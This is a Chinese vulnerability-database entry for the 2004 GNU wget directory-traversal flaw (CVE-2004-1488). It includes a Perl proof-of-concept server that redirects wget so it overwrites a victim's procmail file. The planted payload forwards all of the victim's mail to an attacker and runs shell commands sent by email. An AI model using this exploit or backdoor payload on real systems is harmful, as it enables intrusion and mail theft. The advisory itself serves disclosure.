GNU wget执行任意代码漏洞

GNU wget执行任意代码漏洞

漏洞ID 1108330 漏洞类型 设计错误
发布时间 2004-12-10 更新时间 2005-10-20
图片[1]-GNU wget执行任意代码漏洞-安全小百科CVE编号 CVE-2004-1488
图片[2]-GNU wget执行任意代码漏洞-安全小百科CNNVD-ID CNNVD-200504-113
漏洞平台 Linux CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/24813
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200504-113
|漏洞详情
GNUWget是GNU计划开发的一套用于在网络上进行下载的自由软件,它支持通过HTTP、HTTPS以及FTP这三个最常见的TCP/IP协议下载。Wget的1.8.x和1.9.x不会在显示HTTP响应时过滤或引用控制字符,这可能允许远程恶意Web服务器将终端转义序列注入并执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/11871/info

Multiple remote vulnerabilities reportedly affect GNU wget. These issues are due to the application's failure to properly sanitize user-supplied input and to properly validate the presence of files before writing to them. The issues include:

- a potential directory-traversal issue
- an arbitrary file-overwriting vulnerability
- a weakness caused by the application's failure to filter potentially malicious characters from server-supplied input. 

Via a malicious server, an attacker may exploit these issues to arbitrarily overwrite files within the current directory and potentially outside of it. This may let the attacker corrupt files, cause a denial of service, and possibly launch further attacks against the affected computer. Overwriting of files would take place with the privileges of the user that activates the vulnerable application.


--
 )^o-o^|    jabber: [email protected]
 | .v  K    e-mail: jjminar FastMail FM
 `  - .'     phone: +44(0)7981 738 696
   __/Jan     icq: 345 355 493
 __|o|__Min??  irc: [email protected]

#!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Min???? (jjminar fastmail fm)
# License: Public Domain
#
# When wget connects to us, we send it a HTTP redirect constructed so that wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username 'jan'
# 8-)).

use POSIX qw(strftime);

# This is our scheme/host/port
$server = "http://localhost:31340";
# Use this + DNS poisoning with wget 1.9 & CVS
#$server = "http://..";

# Wanna know who got infected?
#$log = "/dev/pts/1";

# The filename we will try to overwrite on the target system
$filename = "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.";

############### Payload #########################################
$email = 'your@mailbox';
$password = 'Pmrpuf ner cevzvgvirf';
$payload = <<EOP;
:0c
| mail -s 'Wgettrap mail copy' $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-Password: $password
| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'
EOP
chomp $payload;
############### Payload #########################################

# A simple directory traversal, for greater effect
$trick = "/.." . "%2f.." x 40;

open LOG, ">$log" if $log;

while(<STDIN>){
        print LOG $_ if $log;
        if (/Q$trick$filenameE/) {
        #if (/%2f/) {
                # We see the filename, so this is the second time
                # they're here.  Time to feed the sploit.
                $second++;
        } elsif (/^Range: bytes=(33)-/) {
                # Appending goes like this:
                # (1) Tell'em what you're gonna tell'em
                # (2) Then tell'em just a half
                # (3) Close it
                # (4) Wait
                # (5) They're comin' back, with wget -c
                # (6) Tell'em the sploit
                # (7) Close again
                # (8) Wtf? They're comin' back with wget -c again
                # (9) Tell'em the rest...
                # (10) ... enjoying the backdoor at the same time
                print LOG "File if $1 bytes longn" if $log;
        } elsif (/^r?$/) {
                # The HTTP headers are over.  Let's do it!
                $date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);
                if (!$second) {
                        # Print the payload
                        print <<EOT;
HTTP/1.1 301 Moved Permanentlyr
Date: $dater
Server: wgettrap 1.1r
Accept-Ranges: bytesr
Location: $server$trick$filenamer
Content-Length: 43r
Connection: closer
Content-Type: text/htmlr
r
<html><head><title></title></head></html>r
EOT
                } else {
                        # Print the redirection
                        print <<EOT;
HTTP/1.1 200 OKr
Date: $dater
Server: wgettrap 1.1r
Accept-Ranges: bytesr
Content-Length: 25r
Connection: closer
Content-Type: text/plainr
r
$payload
EOT
                }
                exit 0;
        }
}
|参考资料

来源:XF
名称:wget-terminal-overwrite(18421)
链接:http://xforce.iss.net/xforce/xfdb/18421
来源:UBUNTU
名称:USN-145-1
链接:http://www.ubuntulinux.org/support/documentation/usn/usn-145-1
来源:BID
名称:11871
链接:http://www.securityfocus.com/bid/11871
来源:SECTRACK
名称:1012472
链接:http://securitytracker.com/id?1012472
来源:BUGTRAQ
名称:20041209wget:Arbitraryfileoverwriting/appending/creatingandothervulnerabilities
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110269474112384&w;=2
来源:MISC
链接:http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=261755
来源:REDHAT
名称:RHSA-2005:771
链接:http://www.redhat.com/support/errata/RHSA-2005-771.html
来源:SUSE
名称:SUSE-SR:2006:016
链接:http://www.novell.com/linux/security/advisories/2006_16_sr.html
来源:SECUNIA
名称:20960
链接:http://secunia.com/advisories/20960

相关推荐: PHPKit Multiple HTML Injection Vulnerabilities

PHPKit Multiple HTML Injection Vulnerabilities 漏洞ID 1098685 漏洞类型 Input Validation Error 发布时间 2004-03-30 更新时间 2004-03-30 CVE编号 N/A …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享